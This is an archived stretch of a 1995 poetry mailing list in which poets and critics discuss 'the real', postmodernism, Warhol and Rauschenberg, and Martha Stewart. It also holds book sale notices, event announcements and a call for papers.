> *Herb's comment of 5/17:*
>
> *Who is being tricked, about what, and how much does it matter if the poems seem pretty good?*
>
> *reminds me of a fellow music student during college who could imitate the voice teacher who was a marvelous mezzo soprano, deliciously proficient at operatic work. The student was of the ilk who had raised goofing off to the level of a fine art. She took great delight in playing with her Dana Carvey-like capability in the vocal department.*
>
> *But all that time, I kept wondering just what it meant that Jill could do*

> *all of this. What was the difference between her and the vocal teacher? Many theoretical ones, plus the root versus derivation thing. But for sound quality, no diff at all.*

↑ Index

342. Carl Lynden Peters

Re: really Real Andy

Thu 18 May 1995

>
> On Thu, 18 May 1995, Ron Silliman wrote:
>
> > I saw the big Warhol retrospective at the Chicago Art Institute a few
> > years back and was taken with how well his work has stood up over time,
> > whereas Rauschenberg seems to me as dated as Life Magazine covers from
> > the 1950s, utterly limited and only of historical interest. Warhol
> > remains not only the most political artist of his generation, but
> > surprisingly one most committed to visual values in his work. My guess
> > is that it will still look pretty damn great in another 50 years, when
> > all the media hype will have faded.
>
> Ron, I agree that Warhol'l definitely be remembered (& thought & spoken
> highly of) for a long, long time. But Rauschenberg ... "dated"? "Utterly
> limited"? "Only of historical interest"?
>
> Dude. That is like, totally bogus. I mean, ruhlly. Reminds me of when the
> Jess retrospective came to the Walker & a friend of mine, when I asked
> him "You go check this shit out, man?" replied: "Oh, that's just 60s
> 'trippy' art." *Pardohn, eskyoozay*?!?
>
> Anyway, that stuff about the Rausch-man, them's fightin' words! But,
> fortunately for you, I smoke too much, & you could easily keek mah ass if
> it came down to that. (I do plan to quit, tho, & when I do, I'll have
> lots of pent-up energy to release ...)
>
> Caio baby,
>
> Gary
>
right on!, gary. raushenberg is a genius!
c

↑ Index

343. Kevin Killian
Re: one big tease
Thu 18 May 1995

> *Tom, Ron, Dan if you're listening, & all others:*
>
> *I for one would absolutely like to find such a 100-page poem in my mailbox. But then I find 100-page poems rather frequently in my real mailbox. But please post it. Those who want to delete, delete with glee.*
>
> *And I'll second Ron and others on the terrific four poems, Hank. Thank you.*
>
> *charles*

Charles,

While I appreciate your enthusiasm, some of us do actually PAY for our internet access, pay by the megabyte for mail. I think Gary's suggestion of posting the memory monster with the EPC center is a kinder solution.

Dodie

↑ Index

344. Andrew Joron
drugs
Thu 18 May 1995

Dodie, I think we're in agreement on the elusiveness of the Real.
And gazing on that vanishing point is definitely a drug-like
experience! In fact, your mention of drugs puts me in mind of
one of my favorite passages from Bernstein's _Artifice of
Absorption_, where he says

    poetry does have a mission to be as powerful as
    the strongest drug, to offer a vision-in-sound
    to compete with the world we know so that we can find
    the worlds we don't.

Interestingly, he goes on to say that "there are no limits
language cannot reach," which to me is another way of confirming
that language *does* have limits (all of which can be reached).
What lies beyond those limits? Perhaps Duchamp's "labyrinths
outside of space and time."

-- Andrew Joron

↑ Index

345. Edward Foster
Re: Ern Malley's antecedents
Thu 18 May 1995

actually some of the lines in the spectra poems are pretty terrific. his chinese translations aside, i don't think bynner ever did better.

↑ Index

346. Hank Lazer
Re: eigner, address, reality
Thu 18 May 1995

First, since I am in touch with several of you (and via subscriptions!--Talisman, Taproot, etc.), and since my mail gets re-routed and only sometimes delivered, my new address:

Hank Lazer
2945 N Hampton Dr
Tuscaloosa, AL 35406-2701

Same phone #, same e-mail, same humid city.

#

Chris--On Eigner. Sorry for the scare. Larry is well. I spoke this morning with Jack Foley, who lives near Larry and is in touch with him daily, and Jack confirms that Larry is doing fine. But you did pick up the tone/mood all too well. The sadness, elegy, tragedy creeping into these poems has to do with my father, who is 68, a year older than Larry, and is dying of leukemia. I will be going out to California (Carmel) in a couple of weeks to be with him. Larry's poems, which I've liked for quite some time, helped me out. And I suppose that Larry's work--its ability to enact quick shifts of mind, almost word by word--is for me familiar and kin. I've been working in a ten-line form for nearly a year now, and I find myself re-examining poets who have done well with a short line form--Creeley, of course, but lots of others, Niedecker, Plath, Oppen, Dickinson, Susan Howe--and went back to Larry's Selected Poems (1968?). In my group of four, #2 begins with two lines from Larry's Selected Poems (p. 25). But to the point: sorry for the scare, and Larry is well. OK, then, to write tributes to the LIVING?

Hank

#

To those interested in the "real"--I've been reading through bpNichol's Martryology (all 9 volumes reissued & available from Coach House, or, through

the dreaded distributor Consortium) and found in Book 5 near the end an amusing reference to the REAL's cousin, "reality":

asleep (later) i dreamt
me & all my friends these past 12 years
headed out to eat at THE REALITY
found it closed & boarded
upset because REALITY was not where they supposed it to be
i couldn't understand them
told them this was always happening
'REALITY is always closing down
opens up again
somewhere else'
woke smiling & laughing
sensing some solution

↑ Index

347. Ryan Knighton
Re: addendum
Thu 18 May 1995

I'm sorry if this is unwarranted, but it seems Gary and Reg are discussing, or positing, two discssions bound by a gap. I'm not sure if Reg was implying anything about class situation and the abstract. When REg and his brohter and I were having this chat, his brother was essentially asking me if, in a crisis of some kind, like the fact i"m losing my vision, I take my theories about the page and poem and apply them elsewhere in my life. The fact that he works with street kids was incidental. Or maybe I'm missing to what Gary was responding. Gary?

Best,
Ryan

↑ Index

348. Carl Lynden Peters
Re: really Real Andy
Thu 18 May 1995

> *I saw the big Warhol retrospective at the Chicago Art Institute a few years back and was taken with how well his work has stood up over time, whereas Rauschenberg seems to me as dated as Life Magazine covers from the 1950s, utterly limited and only of historical interest. Warhol remains not only the most political artist of his generation, but*

> *surprisingly one most committed to visual values in his work. My guess is that it will still look pretty damn great in another 50 years, when all the media hype will have faded.*
>
> *Ron Silliman*

"...one most committed to _visual_values in his work..." (my emph.).: what's that mean? in 50 yrs his work will still be great because it _is_ great

carl

↑ Index

349. **Jordan Davis.**
United Artists Sale
Thu 18 May 1995

50% OFF--SALE ON SELECTED UNITED ARTISTS TITLES

Judyism by Jim Brodey * $5.00
The California Papers by Steve Carey * $4.00
Personal Effects by Charlotte Carter * $6.00
The Fox by Jack Collom * $4.00
Columbus Square Journal by William Corbett * $5.00
Smoking in the Twilight Bar by Barbara Henning * $5.00
Poems for the Whole Family * $7.00
Head by Bill Kushner * $5.00
Love Uncut by Bill Kushner * $6.00
One at a Time by Gary Lenhart * $5.00
Songs for the Unborn Second Baby by Alice Notley * $5.00
Fool Consciousness by Liam O'Gallagher * $5.00
Cleaning Up New York by Bob Rosenthal * $4.00
Political Conditions/Physical States by Tom Savage * $7.00
Along the Rails by Elio Schneeman * $6.00
Echolalia by George Tysh * $7.00
Selected Poems by Charlie Vermont * $4.00
Blue Mosque by Anne Waldman * $6.00
Information from the Surface of Venus by Lewis Warsh * $6.00
The Maharajah's Son by Lewis Wawrsh * $5.00
Clairvoyant Journal by Hannah Weiner * $5.00
The Fast by Hannah Weiner * $6.00

Deduct 50% from all orders. We will pay postage on all pre-paid orders over $10.00. Make check payable to United Artists Books, Box 2616, Peter Stuyvesant Station, New York NY 10009. (Say you saw it on the Poetics List.)

↑ Index

350. Jeffrey Timmons
Re: POETICS Digest - 15 May 1995 to 16 May 1995
Thu 18 May 1995

On Tue, 16 May 1995, Marjorie Perloff wrote:

> *Whatever the case, the term is used today almost antithetically from what was the case in Olson (for sure!) and even antithetically from Antin's positive description of the postmodern as everything new, cutting edge, avant-garde, exciting, anti-formalist, etc etc etc.*
>
> *I agree with Aldon Nielsen that it's time we scrapped it!*

Are practices too diverse to be generalized about or is there a sense in which we can describe something--roughly or not equivalent to pomo--without using the term we feel should be scrapped?

Jeffrey Timmons

↑ Index

351. Jeffrey Timmons
Re: irony and the Really real
Thu 18 May 1995

On Wed, 17 May 1995, John Byrum wrote:

> *I agree that the real can always seem elusive (allusive??), but think that all our experiences must finally be the Real. After all they are all we have, call them what you will.*

Forgive me for editing the comments as I have done . . . . I am intrigued by this discussion of the real, but must insist upon my earlier statement that The Real Can Be Simulated. I'm thinking of an anecdote or an example of this . . . but in the mean time . . . doesn't John's post suggest . . . albeit in my own twisted reading of it . . . that there is the possibility that are experiences are not necessarily the real? It's this possibility that I believe opens the door for simulations of the real, even the replacement of the real by simulations. I'm trying to think of an example . . . a Baudrillard-sort of example . . . any suggestions?

Jeffrey Timmons

↑ Index

352. Charles Alexander
Re: one big tease
Thu 18 May 1995

Tom, Ron, Dan if you're listening, & all others:

I for one would absolutely like to find such a 100-page poem in my mailbox. But then I find 100-page poems rather frequently in my real mailbox. But please post it. Those who want to delete, delete with glee.

And I'll second Ron and others on the terrific four poems, Hank. Thank you.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

353. George Bowering
Re: The REAL Araki Yasusada
Thu 18 May 1995

Speaking of which: who wrote _The Complete Poetical Works of T.E. Hulme_?
And who wrote T.E.H.'s claim that EP had exaggerated his age?

↑ Index

354. George Bowering
Re: really Real Andy
Thu 18 May 1995

I saw a reference to Martha Stewart in some comioc strip, and now I
see her referred to on the Buffnet.
Who is Martha Stewart?

↑ Index

355. George Bowering
Re: Yo, Ed
Thu 18 May 1995

This is
a qua-

train, n'
est pa?

↑ Index

356. George Bowering
Re: really Real
Thu 18 May 1995

I guess I have, over the years, heard writers and books reviled for not writing about what they didnt write about. It doesnt make sense to me. I get the picture of a person who is interested in, say, labor struggle, condemning books that were not about labor struggle. Of course, I am interested in baseball, and so I started reading Jerome Charyn, and Fee Dawson.

I still dont really know how Marxism can be a theory used to apply to literature. I can see how it can be used to discuss economics, and that one might, in writing about economics, have a chapter about the economics of book-publishing, or economics as visioned in a novel. But is a Marxist reading of Pound any more sensible than an Imagist reading of the Politburo?

↑ Index

357. Jordan Davis.
Re: really really really
Thu 18 May 1995

Poetry Society of America
15 Gramercy Park, NY NY 10003 * [redacted] * Fax [redacted]

PRESS RELEASE

FOR IMMEDIATE RELEASE CONTACT DIANA BURNHAM

[redacted]

EVERY DOG HAS ITS DAY: POEMS BY WRITERS' DOGS

On Wednesday, June 7th (raindate, June 8th) poets and their dogs will gather to read dog persona poems. The event will begin at *6:30 p.m. in Madison Park, near the James Dog Run, Fifth Avenue at 24th Street, New York.* Dogs welcome. Free admission, bring a blanket, reception to follow (dog treats and people treats). Writers Mark Doty, Anderson Ferrell, Pamela Hadas, Honor Moore, Gerald Stern, and Terese Svoboda will all read poems "by" and about dogs, as will Commissioner of Parks, Henry Stern. Amy Hempel, co-editor of the forth-coming *Unleashed: Poems by Writers' Dogs* (Crown Publishers Inc., 1995) will introduce the participants.

↑ Index

358. Reginald Johanson
real classist assumptions
Thu 18 May 1995

Gary--it seems that in responding to my brothers question, or the framing of that question, I have been mistook. Thanks Ryan for clarifying, but that's not completely it either. I don't really have anything to say about the "poor" one way or another. I thought the detail about my brother's profession was relevant because the debate--and I know I'm a late comer to it so excuse the presupposition--only rarely touched on those moments when the real is constellated so powerfully that there is no opportunity for reflection, only action, response. And in those moments the Hamlet question about real or not real does, in fact, seem needlessly abstract. Those are the moments of definition, of consequence, after which there is no going back. These are moments in which class is irrelevant. I interpreted my brother's question as coming out of his work because I happened to know, from other conversations with him, that when he deals with people in crisis he is dealing with people who have staked a great deal on a notion of the real, and that that stake is often a matter of life and death. If we survive our initial investment in a notion of the real, we can go back and evaluate it. IF we survive. And so the question is still the same: what do you DO in a crisis?

↑ Index

359. Jim Pangborn
postpostmodernism
Thu 18 May 1995

I like the fact that there is a word "postmodernism": it figures forth the possibility that there might be significant, systemic differences between our time--our culture(s), our attitude(s) toward history--and that of, say, Oscar Wilde.

I say "might be," though: postmodernity stands for me as a possibility, not a fact. For one thing, as we've seen, when one tries to date its inception, it recedes. I think the latest is 1847? How about the French Revolution, come to that? (Just kidding: revolution itself seems pretty much a modern thing.) More importantly, it eludes precise definition, or at least we don't agree on one.

So I'll continue to use the term, all due respect to Marjorie Perloff to whom very much respect indeed is due, all the while admitting that I/we don't know for sure whether it names something (here comes the kicker:) real. It's important to keep admitting the extent of our ignorance, to whatever small extent we can really know it--oxymoron intended.

Bruno Latour has written interestingly on this topic. He argues that _We Have Never Been Modern_ in the sense that what he calls "the constitution of modernity" is itself unworkable, and "modern" people have always adhered partly to premodern constitutions anyway. Consistency, or as some have put it, hideous purity, has never been imperative in such matters *except* according to the (bogus) modern constitution. Of course, if there is "really" no modernity, where does that leave POSTmodernity? Ans: Limbo limbo lim-BO. Do we contradict ourselves? Very well.

Concepts of this type are tools. If J-F Lyotard or Charles Olson or Pope Homogeneous III invents a nail gun, does that "contradict" hammers? Ridiculous notion. Nor does it prevent someone from using the flat of a monkey wrench to drive nails. Just so the work gets done. Does confused and sometimes contradictory wondering about our place in history get anything accomplished? Poets and fictioneers had better hope so. It's part of our job.

--Jim

↑ Index

360. Alan Sondheim

Re: really Real Andy

Thu 18 May 1995

What is a great work of art.
What is visual value.
Are great works of art those works which are considered to be great works of art.
Why are some works of art great and other works of art not great.

I tire quickly of Warhol, quickly of Rauschenberg. They seem the death of the 50s and 60s to me. Am I wrong. Am I wrong to not recognize a great work of art as a great work. Could it be that "great" is problematic in this context.

Perhaps one needs to look further at art and then at aesthetic systems. Perhaps I need gusto.

Everyone has favorites. For me, nothing beats Sue Williams or Jenny Holzer at the moment, her Lustmord. But I wouldn't know about great.

Alan

↑ Index

361. Jeffrey Timmons
Re: really Real Andy
Thu 18 May 1995

On Thu, 18 May 1995, George Bowering wrote:

> *I saw a reference to Martha Stewart in some comioc strip, and now I see her referred to on the Buffnet.*
> *Who is Martha Stewart?*

Oh, I'm on this one: Martha Stewart, if I'm not mistaken, is a writer of cookbooks (or is it gardening? or both) and she's become something of a icon for a particular generation (who shall go nameless). She's also made the transition to public television. Catch me if I'm wrong.'

Jeffrey Timmons

↑ Index

362. Robert Drake
announce: _tribe of john_ [ashbery]
Thu 18 May 1995

this will be old news to some here, but...

The Tribe of John: Ashbery & Contemporary Poetry, Susan Schultz, ed; Univ. of Alabama Press. 280 pp., $28.95.

TOC:

(Part 1: New Readings of Ashbery)
"Typical Ashbery"--Jonathan Morse
"Ashbery as Love Poet"--Charles Altieri
"Coming Full Circle"--JA's Later Poetry
"JA's Landscapes"--Bonnie Costello

(Part 2: Explorations of Influence)
"The Absence of a Noble Presence"--John Koethe
"Purists Will Object: Some Meditations on Influence"--
Donald Revell
"Nimbus of Sensations: Eros and Reverie in the Poetry o
JA and Ann Lauterbach"--James McCorkle
"A's Menagerie and Anxiety of Affluence"--John Gery
"Periodizing A and His Influence"--Stephen Paul Miller
"Fossilized Fish and the World of Unknowing: JA & William
Bronk"--John Ernest

(Part 3: A & Postmodern Poetics)

"Taking the Tennis Court Oath"--Andrew Ross
"The Music of Construction: Measure & Polyphony in A
and Bernstein"--John Shoptaw
"Afterword: The Influence of Kinship Patterns upon Perception
of an Ambiguous Stimulus"--Charles Bernstein

↑ Index

363. Charles Alexander
Re: really Real Andy
Thu 18 May 1995

Is it cookbooks from Martha Stewart? I thought she was some arbiter, somewhere between the middle class & the very rich, of taste in interior design and furnishings. But my sense is admittedly murky on this point. I did once see a television commercial in which she had cut up credit cards (American Express) & put them back together, mosaic-like, at the bottom of a swimming pool. Very real.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

364. Jeffrey Timmons
Re: really Real
Thu 18 May 1995

On Thu, 18 May 1995, George Bowering wrote:

> *But is a Marxist reading of Pound any more sensible than an Imagist reading of the Politburo?*

Ha. That's great, an Imagist reading of the Politburo. I'd see it something along the lines of WCW's poem about the firetruck and the number five . . . I don't recall the poem's title (The Great Figure? hm):

I saw a red star
Upon the granite spire

something like that . . .

Jeffrey Timmons

↑ Index

365. John Byrum
Re: irony and the Really real
Thu 18 May 1995

Dear Jeff,

I agree that simulated experiences are as "real" as "real" experiences. We could also agree that our "real" experiences are "simulated"; i.e., "simulations" of events in some sense "external" to our "experience". This is getting deep into the intertwining convolutions of epistemology & ontology & definitions of terms, though.

Best,

John

↑ Index

366. Carl Lynden Peters
Re: really Real Andy
Thu 18 May 1995

> *What is a great work of art.*
> *What is visual value.*
> *Are great works of art those works which are considered to be great works of art.*
> *Why are some works of art great and other works of art not great.*
>
> *I tire quickly of Warhol, quickly of Rauschenberg. They seem the death of the 50s and 60s to me. Am I wrong.*

--ya, in this instance i take issue to that. my recent rethinking of the duchamp ready-made, dada over all, has caused me to re-examine warhol's work. i've always felt the relation between he and warhol profound. i wish i could go on abt that right now, but am in a rush. i'd like to come back to this tomorrow

--Holzer is wondeful too. what are yr thots on smithson? any comments. a real blending of science and art in those 2. relating to this, is anyone familiar with jack burnham's 73 or 74 book _The Structure of Art_???

for me, CARL ANDRE is still the most important sculptor of our time. but that's a completely personal opinion. well, sort of. he's really had a big influence on me and my critical thinking

carl

> *Am I wrong to not recognize a great work of art as a great work.*
> *Could it be that "great" is problematic in this context.*

> *Perhaps one needs to look further at art and then at aesthetic systems. Perhaps I need gusto.*
>
> *Everyone has favorites. For me, nothing beats Sue Williams or Jenny Holzer at the moment, her Lustmord. But I wouldn't know about great.*
>
> *Alan*

↑ Index

367. **Carl Lynden Peters**

Returned mail: Host unknown (Name server: ubvm.cc.buffalo: host not found) (fwd)

Thu 18 May 1995

>
> the brief messages re duchamp (written, i think, mostly by me, but
> anyway), warhol, raushenberg... are making me think of conceptual art.
> has any one read joseph kosuth's landmark essay (came out in the 70's i
> think and is in gregory battcock's anthology_Idea Art_), "Art After
> Philosophy I and II ??? it's his best work, in my critical judgement
>
> to add to that, jack burnham has a piece in it which came out before The
> Structure of Art: "Problems of Criticism." in it he begins to foreground
> his re-reading of levi-strauss and introduces his - what would you call
> it - sign inversion theory (?), the culturalization of
> nature/naturalization of culture. i wrote my part of my masters thesis on
that, so with respect to American art, i'm very interested in what was
done in soho in the 60s and 70s

> *carl*

↑ Index

368. **Tony Green**

Re: lyric and/or

Thu 18 May 1995

" And there's no knot for me " but the k is silent.

↑ Index

369. **Gary Sullivan**

Who you are in a crisis

Fri 19 May 1995

Dear Reginald:

Many thanks for your clarification of your brother's question. I'm sorry I misread it; there wasn't much to go on -- what I read was a leap between "works with street kids" and "what do [we] do in a crisis?" & from there, began projecting, mainly things *I* used to think. My apologies (very real) for then being Mr. Preacherman.

Anyway, the question, as you've reframed it, is an excellent one.

I don't think there is any one answer to the question "what do you do in a crisis" -- even postulating the same crisis across the board for a number of "fairly similar" people. I also am not convinced that, at that moment, you're not w/out speculation, even "theory."

Here's an anecdote, though maybe inappropriate given that it wasn't quite as immediate as having a gun to the head (though it was similar). My wife & I, on our honeymoon (in Brooklyn -- a lover's paradise) were on a rush hour subway train that suddenly stopped, & then the driver came over the intercom to tell us there was a fire on the tracks ahead & that he was "shutting off the air." Almost immediately after that, the tunnel filled with black smoke, and people from the car in front of us began to force their way (difficult, as crowded as it was) into our car. As they did that, smoke began pouring into our car. People began screaming, panicking, some praying. More smoke poured into the car & it got to the point where we couldn't breathe. I can't describe the looks on people's faces. I "knew" we were going to die, and the first image that popped into my head was of the friends we were staying with, and realizing THEY DIDN'T KNOW WE WERE DOWN HERE. The second image was of all of us in the train, lying in heaps on each other, dead -- the "thing" whoever first reached us would find. I began to scream to Marta that I loved her, over and over. I'm an atheist. I don't believe in life after death. But I do believe in love. And I loved -- and still do love -- Marta very, very much. So, at that moment, what became important to me was that she *know* that I loved her, that she had *been* loved. I felt that Marta had a kind of "object permanence" problem, that even though she'd married me, she didn't *really* believe I'd love her, be there, our whole lives together. So, it became crucial to me to GET THIS INFO ACROSS TO HER. It was physically impossible to hold her (too many people, crammed in) or to somehow PHYSICALLY impart this "information," so I used language, screamed over & over "I LOVE YOU! I LOVE YOU!" Then, it became impossible to scream any more, & I basically just resigned myself to death -- which itself didn't seem like such a bad thing at that moment. Or, that was the scenario I was playing in

my head. Marta tells me that, after I stopped screaming "I LOVE YOU!" I began screaming sort of a coarse, hoarse noise of some kind -- which I don't at all remember doing.

It was a crisis, and some of what I did during that crisis, I did based on earlier (& immediate, actually) thought, speculation, opinion, & theory. I don't know if this is an appropriate anecdote w/respect to your brother's question, because I didn't feel that there was any way "out" of the situation, that we had any options. Everyone on the train basically just waited the situation out, covering their faces with scarves, some passing out, a couple of people died. (Two, I think.)

I didn't bring any speculation about "poetry" to this event, but I did bring (I think) a belief in the power of language, which is obviously related. If I had come to that situation with a complete disillusionment or mistrust of language, I don't think I'd have tried to get Marta to believe that I loved her by merely *saying* it. (Would I, if I didn't believe in the power -- or ability? -- of language, have believed in love?)

I say this based only on the above experience, but I think it's interesting that, when faced with death, the need to "communicate" (or "connect" if you're uncomfortable w/"communicate") became THE MOST IMPORTANT THING TO DO. Which is no different than my "every day" life, writing, reading, & publishing. (Or, for that matter, as a secretary/ receptionist at the L.A.S.)

Yours,

Gary

↑ Index

370. Lindz Williamson

martha

Fri 19 May 1995

On Thu, 18 May 1995, Jeffrey Timmons wrote:

> *On Thu, 18 May 1995, George Bowering wrote:*
>
> *I saw a reference to Martha Stewart in some comioc strip, and now I see her referred to on the Buffnet.*
> *Who is Martha Stewart?*
>
> *Oh, I'm on this one: Martha Stewart, if I'm not mistaken, is a writer of cookbooks (or is it gardening? or both) and she's become something of a icon for a particular generation (who shall go nameless). She's also made the transition to public television. Catch me if I'm wrong.'*

> *Jeffrey Timmons*

to quote my roommate "Martha is the guru of easy living". She will aid you in all your fine dining, decorating and entertaining needs. She has packaged a beautiful lifestyle and feeds it to the public in her tasteful magazine Martha Stewart's Living. She is every housewife's nightmare, but I love her.
Lindz

↑ Index

371. **Lindz Williamson**
martha again
Fri 19 May 1995

On Thu, 18 May 1995, Charles Alexander wrote:

> Is it cookbooks from Martha Stewart? I thought she was some arbiter,
> somewhere between the middle class & the very rich, of taste in interior
> design and furnishings. But my sense is admittedly murky on this point. I
> did once see a television commercial in which she had cut up credit cards
> (American Express) & put them back together, mosaic-like, at the bottom of
> a swimming pool. Very real.
>
Sorry but I'm a big fan, it was botticelli's birth of venus done in credit cards on the bottom of the pool. It's really funny if you know the size of a Martha Stewart Home project.

> *Lindz*

↑ Index

372. **Steve Carll**
Re: really really really
Fri 19 May 1995

> *Poetry Society of America*
> *15 Gramercy Park, NY NY 10003 * [redacted] * Fax* [redacted]
>
> *PRESS RELEASE*
>
> *FOR IMMEDIATE RELEASE* *CONTACT DIANA BURNHAM*

[redacted]

EVERY DOG HAS ITS DAY: POEMS BY WRITERS' DOGS

*On Wednesday, June 7th (raindate, June 8th) poets and their dogs will gather to read dog persona poems. The event will begin at *6:30 p.m. in Madison Park, near the James Dog Run, Fifth Avenue at 24th Street, New York.* Dogs welcome. Free admission, bring a blanket, reception to follow (dog treats and people treats).*
*Writers Mark Doty, Anderson Ferrell, Pamela Hadas, Honor Moore, Gerald Stern, and Terese Svoboda will all read poems "by" and about dogs, as will Commissioner of Parks, Henry Stern. Amy Hempel, co-editor of the forth-coming *Unleashed: Poems by Writers' Dogs* (Crown Publishers Inc., 1995) will introduce the participants.*

Woof.

↑ Index

373. **Ryan Knighton**
Re: Yo, Ed
Fri 19 May 1995

-
-
-
- is this four or eight lines

↑ Index

374. **Ryan Knighton**
Re: really Real Andy
Fri 19 May 1995

---

what the hell, why not ask it all, while we're at it. Not just is there such a thing as a great work of art, why not is there scuh a thing as *a* great work of art. Can it be removed from the anxiety of influence (get a load of my dimples)

↑ Index

375. John Geraets
re- drugs
Fri 19 May 1995

Andrew,
I enjoyed the lovely way the words you quoted
from Charles Bernstein sounded. But then I got
stuck. How is poetry druglike - and how on
earth does it open up worlds?

I've gone right off greatness and insight and
longevity in poems. Poetry ain't such clean
business, don't know why it's so often
wanted to appear that way.

John Geraets
[redacted]

↑ Index

376. Ron Silliman
Re: Curtis Faville
Fri 19 May 1995

Stanzas for an Evening Out were (was?) published by L Publications (Curtis' own press, which also brought out the Blue is the Hero, Berkson's selected poems) in both hard and paperback in 1977. 203 pages. I think that Small Press Distribution may still carry it. Otherwise, Faville lives in Kensington (just north of Berkeley, tho technically part of Contra Costa county), works in SF for the Social Security Administration in a job he's had for 20 years at least, although there was a break in there as his wife was in Japan for a few years.

Faville was a Berkeley student who, like Watten, went to Iowa at Grenier's behest around 1970. He published L magazine there for awhile before coming back to the Bay Area. He's always avoided readings like the plague (and poets, generally, finding them flawed in ways that poems presumably aren't).

Lyn published a second, smaller collection called (I think) Wittgenstein's Door (an allusion to LW's attempt as an architect for his sister's house, a phenomenon that Faville seems to have followed in designing his own home with the aid of the fellow who wrote A Pattern Language). I don't think he's written in at least a decade.

Faville is such a chameleon in his writing that it's difficult to pick a characteristic sample, but here are two short ones to give a flavor:

POEM

What is a pause
before the cause ceases
to be a river. It is

never the muscle of
ARM & HAMMER BAKING SODA.
America was a horse.

****

IOWA

Prehistoric
farm
collection.

The fussiness of that final period is an absolutely identifiable Favillism, come to think of it. There's a long poem in the book, "Aubade," which may be the best Schuyler poem that Jimmy never wrote. When I was editing In the American Tree, Faville's "critiques" of other poets in his poems was something I thought about including long and hard. If that book was one poet thicker, Faville would have been it.

↑ Index

377. **Ron Silliman**
Re: really Real Andy
Fri 19 May 1995

Rauschenberg has always struck me as somebody who included the "pretty" in his work just in case you didn't like the ideas. But over time neither wear that well.

↑ Index

378. **Ron Silliman**
Re: one big tease
Fri 19 May 1995

Dodie,
>
>While I appreciate your enthusiasm, some of us do actually PAY for our
>internet access, pay by the megabyte for mail.

Netcom is $19.95 per month for all you can eat, full internet access & 40 hours of free "prime time" (M-F, 9:00 AM to midnight) that I never once have come close to using up (but then I'm most often up and doing this, like now, at 6:00 AM). Don't pay by the message or the MB!

Maybe Tom could "back channel" us who want to read the whole thing.

Ron

↑ Index

379. **Michael Boughn**
Really real Martha
Fri 19 May 1995

George:

Martha is the reigning queen of the bourgeois domestic. She arbitrates all matters of taste, as others have indicated, from dinner to drapes: a kind of Miss Manners of decor without the humor.

Don't tell anybody, but at Christmas we used her recipe for turkey with a pomegranate glaze and sausage stuffing. It was good, but, man, juicing those pomegranates was a pain in the butt.

Best,
Mike
[redacted]

↑ Index

380. **maria damon**
Re: really Real
Fri 19 May 1995

But is a Marxist reading of Pound any more sensible than an Imagist
> reading of the Politburo?

both are sensible, and may, if done sensitively, yield fabulous mind-altering results. marxist theory in the humanities social sciences and physical sciences, or in general as a way of understanding the everyday, i think, will turn out to be far more powerful --as a humane critique --than marxism the "dictatorship of the proletariat" whose experiments in eastern europe have foundered in the last years.--maria d

↑ Index

381. **Jonathan A Levin**
Re: martha again
Fri 19 May 1995

According to the cover of my May 13 issue of New York (Martha pictured holding lovely wooden basket with gardening tools): "She's Martha Stewart and You're Not: Go ahead, snicker. But that crazed blue-chip perfectionism has

made her the definitive American woman of our time." Yikes. But she's always funny with Letterman.

Jonathan Levin

↑ Index

382. Kali Tal
CFP--1995 Sixties Generations Conference
Fri 19 May 1995

!!!CALL FOR PAPERS!!!

1995 SIXTIES GENERATIONS CONFERENCE

An Interdisciplinary Conference of
Scholars, Activists and Artists

October 5-8, 1995

Western Connecticut State University
Danbury, Connecticut

Proposals due: July 15, 1995

I invite you to join us for the third annual Sixties Generations Conference: From Montgomery to Viet Nam on October 5-8, 1995. Last year over 400 scholars and students joined us at Western Connecticut State University to hear more than one hundred presentations by academics, activists, and artists. The Sixties Generations Conference is a showcase for intelligent and lively academic work in a variety of disciplines and studies fields, but what makes it special is the interdisciplinary emphasis and the collegial atmosphere. We've demonstrated that mixing academics with artists, crossing disciplines, and spanning generations fosters a creative and collaborative excitement that can't be matched. Our evaluation forms showed that over 95% of those who attended last year will be back in 1995. Here are some comments we received:

"The Conference provided a rare opportunity to not only learn from scholars and artists but to engage in fruitful discussion that multiplied the impact of the meetings many times over. The organization and administration of the conference was superb and the facilities excellent. What was most gratifying was how so many of the scholars and artists in their lives and work sought to cut across traditional boundaries of gender, academic disciplines, and even of age: there was a

lively mix of younger students and scholars and well-established teachers and professors. I look forward to next year's meeting knowing it will be a highlight of my academic annual activities."

"The conference was an outstanding mix of scholars, students, artists, participants, participant-observers, etc. One could sample informal networking and heavy-duty scholarship. The interactions of panels and audience was lively and informative. Keep it up!"

"I particularly appreciated the interdisciplinary nature of the conference. If not unique, it is extremely rare. Vietnam veterans, scholars, antiwar activists, artists, musicians, and writers all dealing with the same subject--in a better society, Vietnam Generation would be recognized and nurtured as a national resource.

We remain committed to interdisciplinary work and to seeking diverse presentations. We particularly encourage the participation of those traditionally under-represented in academic discourse, and we do not shrink from controversial topics. In addition to soliciting work from traditional disciplines, we enthusiastically invite presentations in African American Studies, Chicano Studies, Women's Studies, Native American Studies and other studies programs.

This year we have broadened our international perspective. Grants from the Ford Foundation and the Asia Resource Council have enabled us to arrange the attendance of three Vietnamese scholars at the 1995 conference. Duong Tuong is Viet Nam's leading art critic and the translator of Gone With the Wind and other modern American fiction; he is currently working on translations of Flannery O'Connor. He was associated with Ha Noi's "Prague Spring," the Literary Humanism movement of the 1950s. Hoang Hien is the teacher and critic of Viet Nam's doi moi (perestroika) writers. He was the teacher of Bao Ninh and Duong Tuong, the two Vietnamese war novelists who have published in English in the U.S. Huu Ngoc is Viet Nam's senior cultural journalist, formerly editor of the Foreign Languages Publishing House, author of the first Vietnamese language book on American civilization. These scholars were invited to participate by Viet Nam Generation, Inc. editor Dan Duffy, who has lived and worked in Ha Noi for nine months setting up our program of translating Vietnamese literature into English, and Viet Nam Generation publications into Vietnamese.

We know that most of the best work at conferences is done between sessions, when people get the chance to talk, to share stories, to set up collaborations. So we do our best to make sure that there is plenty of time for these activities-we arrange for meals to be available at the conference site, set up a lounge for refreshments, and keep coffee and tea available all day long. We also arrange evening events--our Sixties style coffeehouse reading was so successful last year that we will do it again, breaking it up into two nights of poetry, fiction, multimedia and performance art.

